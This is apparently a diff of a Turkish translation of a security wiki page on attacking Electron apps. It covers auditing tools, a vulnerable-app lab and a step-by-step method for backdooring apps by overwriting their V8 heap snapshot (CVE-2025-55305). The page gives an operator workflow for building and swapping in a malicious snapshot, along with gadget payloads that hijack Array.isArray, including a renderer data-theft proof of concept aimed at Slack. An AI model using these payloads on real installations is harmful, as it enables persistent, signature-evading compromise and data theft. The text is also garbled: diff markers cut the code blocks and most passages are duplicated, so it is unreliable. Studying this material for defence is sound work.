Some commands that will help you will the lab:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
{{#endref}}
## **Araçlar**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron tabanlı uygulamalarda yanlış yapılandırmaları ve güvenlik anti-pattern'lerini tespit etmek için bir araçtır.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity kullanan, Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) güvenlik açığı olan üçüncü taraf kütüphaneleri kontrol etmek için
- [**Electro.ng**](https://electro.ng/): Satın almanız gerekiyor
## Laboratuvarlar
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
Lab'da işinize yarayacak bazı komutlar:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -451,21 +458,20 @@ cd vulnerable1
npm install
npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
## V8 heap snapshot manipülasyonu ile yerel backdoor ekleme (Electron/Chromium) CVE-2025-55305
Electron ve Chromium tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için startup'ta önceden derlenmiş bir V8 heap snapshot'ı (v8_context_snapshot.bin ve opsiyonel olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak, Electronun integrity fuses bu snapshot'ları yürütülebilir içerik olarak değerlendirmediğinden, hem fuse tabanlı bütünlük uygulamasından hem de işletim sistemi code-signing kontrollerinden kaçıyorlardı. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumdaki snapshot'ın değiştirilmesi, imzalı ikili dosyaları veya ASAR'ı değiştirmeden uygulama içinde gizli ve kalıcı kod yürütülmesine imkan veriyordu.
Electron ve Chromium-tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için startup sırasında önceden oluşturulmuş bir V8 heap snapshot'ı (v8_context_snapshot.bin ve isteğe bağlı olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak, Electronun integrity fuses bu snapshot'ları executable içerik olarak ele almadı; bu yüzden fuse-tabanlı bütünlük uygulamasından ve işletim sistemi code-signing kontrollerinden kaçtılar. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumdaki snapshot'ı değiştirmek, imzalı ikili dosyaları veya ASAR'ı değiştirmeden uygulama içinde gizli, kalıcı kod yürütmeye olanak sağladı.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ve OnlyLoadAppFromAsar, ASAR içindeki uygulama JavaScript'ini doğrular, ancak V8 heap snapshot'larını kapsamazlar (CVE-2025-55305). Chromium benzer şekilde snapshot'ları bütünlük açısından kontrol etmez.
- Attack preconditions: Uygulamanın kurulum dizinine lokal dosya yazma izni. Bu, Electron uygulamalarının veya Chromium tarayıcılarının kullanıcı-yazılabilir yollara kurulduğu sistemlerde yaygındır (ör. %AppData%\Local Windows'ta; /Applications macOS'ta bazı uyarılarla).
- Effect: Sık kullanılan bir builtin'i (bir “gadget”) ezerek herhangi bir isolate'ta saldırgan JavaScript'inin güvenilir şekilde yürütülmesi; bu da kalıcılık sağlar ve code-signing doğrulamasından kaçınmayı mümkün kılar.
- Affected surface: Electron uygulamaları (fuses etkin olsa bile) ve snapshot'ları kullanıcı-yazılabilir konumlardan yükleyen Chromium tabanlı tarayıcılar.
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ve OnlyLoadAppFromAsar ASAR içindeki uygulama JavaScript'ini doğruluyor, ancak V8 heap snapshot'larını kapsamadılar (CVE-2025-55305). Chromium benzer şekilde snapshot'ları integrity-check etmiyor.
- Attack preconditions: Uygulamanın kurulum dizinine lokal dosya yazımı. Bu, Electron uygulamalarının veya Chromium tarayıcılarının kullanıcı tarafından yazılabilir yollar altında yüklü olduğu sistemlerde yaygındır (ör. %AppData%\Local üzerinde Windows; macOS'ta /Applications ile bazı istisnalar).
- Effect: Sık kullanılan bir builtin'i (bir “gadget”) ezerek herhangi bir isolate'ta attacker JavaScript'in güvenilir şekilde yürütülmesi; bu da kalıcılık ve code-signing doğrulamasından kaçınma sağlar.
- Affected surface: Snapshot'ları kullanıcı tarafından yazılabilir konumlardan yükleyen Electron uygulamaları (fuses etkin olsa bile) ve Chromium-tabanlı tarayıcılar.
Generating a malicious snapshot without building Chromium
- Önceden derlenmiş electron/mksnapshot'ı kullanarak bir payload JS'i snapshot'a derleyin ve uygulamanın v8_context_snapshot.bin dosyasının üzerine yazın.
- Önceden derlenmiş electron/mksnapshot kullanarak payload JS'i bir snapshot'a derleyin ve uygulamanın v8_context_snapshot.bin dosyasının üzerine yazın.
Example minimal payload (prove execution by forcing a crash)
- Örnek minimal payload (yürütmeyi kanıtlamak için uygulamayı çökertme)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@ -479,11 +485,12 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
İzole farkındalığına duyarlı payload yönlendirme (main vs. renderer'da farklı kod çalıştırma)
- Main process tespiti: process.pid, process.binding(), veya process.dlopen gibi sadece Node'a ait global'ler main process izolasında bulunur.
- Browser/renderer tespiti: alert gibi sadece tarayıcıya ait global'ler bir document bağlamında çalışırken kullanılabilir.
Isolate-aware payload routing (main ve renderer'da farklı kod çalıştır)
Ana süreçteki Node yeteneklerini bir kez yoklayan örnek gadget
- Main process tespiti: Node-only global'ler (ör. process.pid, process.binding(), process.dlopen) main process isolate içinde bulunur.
- Browser/renderer tespiti: Browser-only global'ler (ör. alert) document bağlamında çalıştırıldığında mevcut olur.
Örnek gadget: main-process Node yeteneklerini bir kez yoklayan
```js
const orig = Array.isArray;
@ -512,7 +519,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context veri hırsızlığı PoC (ör. Slack)
Renderer/browser-context veri hırsızlığı PoC (örn. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -537,26 +544,30 @@ return orig(...arguments);
};
```
Operatör iş akışı
1) payload.js yazın; yaygın bir builtin'i (ör. Array.isArray) geçersiz kılar (clobber) ve isteğe bağlı olarak her isolate için dallanma yapar.
1) Yaygın bir yerleşik fonksiyonu bozacak payload.js dosyasını yazın (ör. Array.isArray) ve isteğe bağlı olarak izolasyon başına dallanma yapın.
2) Chromium kaynakları olmadan snapshot'ı oluşturun:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Hedef uygulamanın snapshot dosyalarını üzerine yazın:
- v8_context_snapshot.bin (her zaman kullanılır)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse'u kullanılıyorsa)
4) Uygulamayı başlatın; seçilen builtin kullanıldığında gadget çalışır.
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse kullanılıyorsa)
4) Uygulamayı başlatın; seçilen yerleşik fonksiyon her kullanıldığında gadget yürütülür.
Notlar ve dikkate alınması gerekenler
- Bütünlük/imza atlama: Snapshot dosyaları, code-signing kontrolleri tarafından yerel yürütülebilir dosyalar olarak değerlendirilmez ve (tarihsel olarak) Electronun fusesları veya Chromium bütünlük kontrolleri tarafından kapsanmıyordu.
- Süreklilik: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek genellikle uygulama yeniden başlatmalarından sağ çıkar ve imzalı, meşru bir uygulama gibi görünür.
- Chromium tarayıcıları: Aynı tahrifat konsepti, kullanıcı tarafından yazılabilir konumlara kurulu Chrome/derivatives için de geçerlidir. Chrome'un başka bütünlük hafifletmeleri vardır fakat tehdit modelinden fiziksel yerel saldırılarııkça hariç tutar.
- Integrity/signature bypass: Snapshot dosyaları code-signing kontrolleri tarafından yerel yürütülebilir olarak değerlendirilmez ve (tarihsel olarak) Electronun fuses veya Chromium bütünlük kontrolleri tarafından kapsanmamıştır.
- Persistence: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek genellikle uygulama yeniden başlatmalarını aşar ve imzalanmış, meşru bir uygulama gibi görünür.
- Chromium browsers: Aynı tahrifat konsepti, kullanıcı tarafından yazılabilir konumlara kurulu Chrome/ türevleri için de geçerlidir. Chrome'un diğer bütünlük hafifletmeleri vardır ancak tehdit modelinde fiziksel olarak yerel saldırılarııkça kapsam dışı bırakır.
Tespit ve hafifletmeler
- Snapshot'ları yürütülebilir içerik olarak ele alın ve bunları bütünlük uygulamasına dahil edin (CVE-2025-55305 fix).
- Yalnızca yönetici tarafından yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için baseline ve hash'leri alın ve izleyin.
- Erken çalışma zamanı builtinların üzerine yazılmasını (clobbering) ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle eşleşmediğinde uyarı verin.
- Sadece admin tarafından yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için temel hash'leri alın ve izleyin.
- Erken-runtime yerleşik fonksiyon tahribatını ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle uyuşmadığında uyarı verin.
## **Referanslar**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -565,8 +576,7 @@ Tespit ve hafifletmeler
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)